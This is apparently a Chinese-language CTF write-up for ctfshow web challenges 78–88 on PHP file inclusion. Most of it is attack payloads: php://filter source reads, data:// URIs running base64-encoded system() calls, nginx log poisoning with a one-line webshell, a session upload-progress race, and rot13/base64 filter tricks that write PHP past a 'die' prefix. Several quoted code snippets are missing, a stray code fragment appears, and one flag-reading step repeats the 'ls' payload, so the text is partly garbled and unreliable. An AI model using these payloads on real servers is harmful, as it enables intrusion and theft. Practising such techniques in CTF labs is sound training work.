目录
web78 php://filter
web79 data://text/plain
web80 日志文件包含
web81
web82-86 session 文件包含
web87 死亡代码 绕过 rot13 base64
rot13
base64
web88
包含一个文件
发现了 include 我们可以配合伪协议来读取flag
php://filter/read=convert.base64-encode/resource=flag.php
PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0xNiAxMDo1NToxMQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMTYgMTA6NTU6MjANCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KDQokZmxhZz0iY3Rmc2hvd3s3MDQ4ZDgyOC0yYzBiLTQzZDAtYmRjYi02OTNmNWVhMjI3Yzh9Ijs=
解码
过滤了 将php过滤 为 ???
那我们通过 data协议直接执行查询代码
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOw==
ls
读取flag
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOw==
首先使用插件查看服务
发现是使用 nginx 的服务器 那么一般日志文件是存在
var/log/nginx/access.log
那我们看看去访问文件
发现能读取 那我们传入 命令
看看能不能解析
那就很简单了 直接通过 一句话木马上传即可
1=system('tac /var/www/html/fl0g.php');
发现还是可以使用日志包含
访问 /var/log/nginx/access/log
上传一句话木马
/?file=/var/log/nginx/access.log&1=system('ls /var/www/html');
/?file=/var/log/nginx/access.log&1=system('tac /var/www/html/fl0g.php');
过滤了 .
那么 我们就无法使用 带有后缀的文件了
那在 php中 可以使用无后缀的 就是 session文件
这里就需要使用两个东西
session.upload_progress
PHP_SESSION_UPLOAD_PROGRESS 参数
再了解 session.upload_progress是我们先了解 php.ini的参数
session.upload_progress.enable = on
浏览器向服务器上传文件的时候 会将上传信息存储在session中
session.upload_progress.cleanup = on
在上传成功后 服务器会cleanup文件 清除session里面的内容
session.upload_progress.prefix = "upload_progress_"
session里面的键名
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
如果name出现在表单中 那么就会报告上传进度
接下来我们分析过程
如果我们php.ini设置session.auto_start为on
php在接受到请求就会自动初始化 session 所以不需要执行 session start()
但是默认情况下 session.auto_start 都是关闭的
但是session还存在一个默认选项session.use_strict_mode默认值是为0
这个时候 用户可以自定义Session ID
例如
我设置 cookie:PHPSESSID=Xio
那么这个时候 会在服务器创建一个文件 /tmp/sess_Xio
即使用户自己没有初始化 但是php也会自动初始化session
并且产生一个键值 ini.get(“session.upload_progress.prefix”)+session.upload_progress.name
总结
我们写入的PHPSESSID会被当做文件名
这里又需要使用条件竞争来实现访问
".$content);
}else{
highlight_file(__FILE__);
}
file_put_content和死亡·杂糅代码之缘 - 先知社区
出现了一个 死亡代码
在我们写入文件的时候 会先执行
那我们怎么绕过呢
首先就是加密方式
我们可以通过 rot13绕过
那我们怎么绕过 过滤php正则呢 只需要通过 url编码两次绕过即可
php://filter/write=string.rot13/resource=2.php
两次url
%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%32%25%32%65%25%37%30%25%36%38%25%37%30
然后就是content的内容了
我们只需要 将 content内容 进行 rot13编码
然后即可
然后执行访问 2.php
再次修改访问 fl0g.php即可
我们get的内容已经实现了 那我们看看怎么绕过死亡代码
我们输入
就会结合为
直接退出
如果我们使用base64的话
只会解码 php 和 die 指令
而base64通常是8个一组 phpdie只有6个 所以我们随便补充两个来保证解码
aaPD9waHAgc3lzdGVtKCdscycpOz8+
这个时候 base64解码就是
phpdieaaPD9waHAgc3lzdGVtKCdscycpOz8+
其中phpdieaa 会解码失败 从而绕过 死亡代码
所以我们来进行写入
POST
content=aaPD9waHAgc3lzdGVtKCdscycpOz8+
GET
?file=php://filter/write=convert.base64-decode/resource=flag.php
?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%36%36%25%36%63%25%36%31%25%36%37%25%32%65%25%37%30%25%36%38%25%37%30
修改文件名 然后写入 读取命令即可
POST
content=aa
content=aaPD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTs/Pg==
GET
?file=php://filter/write=convert.base64-decode/resource=5.php
?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%34%25%32%65%25%37%30%25%36%38%25%37%30
这样就绕过了死亡代码
可以使用data协议来执行
?file=data://text/plain;base64,PD9waHAgICBzeXN0ZW0oIm5sICoucGhwIik7